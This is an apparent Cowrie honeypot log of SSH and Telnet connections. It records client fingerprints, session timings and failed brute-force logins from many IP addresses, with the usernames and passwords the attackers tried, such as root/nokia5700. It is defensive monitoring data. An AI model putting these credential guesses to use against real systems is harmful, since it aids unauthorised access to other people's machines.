{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:43.194362Z","src_ip":"109.172.54.111","session":"4bc0282f249d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jktu","message":"login attempt [root/jktu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:43.674874Z","src_ip":"109.172.54.111","session":"4bc0282f249d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:44.777457Z","src_ip":"109.172.54.111","session":"4bc0282f249d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52646,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef65d0dda2db","protocol":"ssh","message":"New connection: 147.45.197.250:52646 (10.17.0.5:22) [session: ef65d0dda2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:45.421866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:45.427137Z","src_ip":"147.45.197.250","session":"ef65d0dda2db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:45.517076Z","src_ip":"147.45.197.250","session":"ef65d0dda2db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5700","message":"login attempt [root/nokia5700] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:45.786776Z","src_ip":"147.45.197.250","session":"ef65d0dda2db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":50372,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba65c1976d1","protocol":"ssh","message":"New connection: 101.47.156.21:50372 (10.17.0.5:22) [session: fba65c1976d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:46.466280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:46.470129Z","src_ip":"101.47.156.21","session":"fba65c1976d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:46.716415Z","src_ip":"101.47.156.21","session":"fba65c1976d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:46.879226Z","src_ip":"147.45.197.250","session":"ef65d0dda2db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31415926","message":"login attempt [root/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:47.736430Z","src_ip":"101.47.156.21","session":"fba65c1976d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:48.986257Z","src_ip":"101.47.156.21","session":"fba65c1976d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39564,"dst_ip":"159.203.135.109","dst_port":22,"session":"35fe97bda230","protocol":"ssh","message":"New connection: 37.233.85.71:39564 (159.203.135.109:22) [session: 35fe97bda230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:57.431976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:57.437395Z","src_ip":"37.233.85.71","session":"35fe97bda230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:57.542679Z","src_ip":"37.233.85.71","session":"35fe97bda230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369369369","message":"login attempt [root/369369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:57.879085Z","src_ip":"37.233.85.71","session":"35fe97bda230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:58.986498Z","src_ip":"37.233.85.71","session":"35fe97bda230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":34054,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4eebed661f0","protocol":"ssh","message":"New connection: 20.160.86.7:34054 (10.17.0.5:22) [session: d4eebed661f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:05.212669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:05.217587Z","src_ip":"20.160.86.7","session":"d4eebed661f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:05.303195Z","src_ip":"20.160.86.7","session":"d4eebed661f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:05.675003Z","src_ip":"20.160.86.7","session":"d4eebed661f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:06.763601Z","src_ip":"20.160.86.7","session":"d4eebed661f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:07.381745Z","src_ip":"213.209.159.158","session":"5afd242603e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"dceba074cbd2","protocol":"telnet","message":"New connection: 69.4.83.194:54850 (159.203.135.109:23) [session: dceba074cbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:24.131301Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":57922,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb9b545b98a","protocol":"ssh","message":"New connection: 103.82.20.28:57922 (10.17.0.5:22) [session: afb9b545b98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:24.893006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:24.899617Z","src_ip":"103.82.20.28","session":"afb9b545b98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:25.180590Z","src_ip":"103.82.20.28","session":"afb9b545b98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"142536a","message":"login attempt [root/142536a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:26.029456Z","src_ip":"103.82.20.28","session":"afb9b545b98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:27.317613Z","src_ip":"103.82.20.28","session":"afb9b545b98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":47654,"dst_ip":"10.17.0.5","dst_port":22,"session":"947764ebef92","protocol":"ssh","message":"New connection: 182.191.77.164:47654 (10.17.0.5:22) [session: 947764ebef92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:40.869244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:40.874148Z","src_ip":"182.191.77.164","session":"947764ebef92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:41.105331Z","src_ip":"182.191.77.164","session":"947764ebef92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49626,"dst_ip":"10.17.0.5","dst_port":23,"session":"5492fe21e5e9","protocol":"telnet","message":"New connection: 178.128.93.180:49626 (10.17.0.5:23) [session: 5492fe21e5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:41.998657Z"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:42.048100Z","src_ip":"182.191.77.164","session":"947764ebef92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:43.279187Z","src_ip":"182.191.77.164","session":"947764ebef92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.67396950721741,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:54.634907Z","src_ip":"178.128.93.180","session":"2f86da34b6e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27638077735901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:55.407552Z","src_ip":"69.4.83.194","session":"dceba074cbd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.209.82.184","src_port":58059,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2fda94a66d0","protocol":"ssh","message":"New connection: 58.209.82.184:58059 (10.17.0.5:22) [session: f2fda94a66d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:58.885458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:58.890972Z","src_ip":"58.209.82.184","session":"f2fda94a66d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:42:59.124050Z","src_ip":"58.209.82.184","session":"f2fda94a66d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40292,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c8221ebb72","protocol":"telnet","message":"New connection: 69.4.83.194:40292 (159.203.135.109:23) [session: 89c8221ebb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:00.685652Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":44356,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcb1018f5263","protocol":"telnet","message":"New connection: 79.139.59.21:44356 (159.203.135.109:23) [session: fcb1018f5263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:11.203705Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":42672,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a6161104b78","protocol":"ssh","message":"New connection: 94.159.110.201:42672 (10.17.0.5:22) [session: 9a6161104b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:24.267413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:24.272655Z","src_ip":"94.159.110.201","session":"9a6161104b78","protocol":"ssh"}
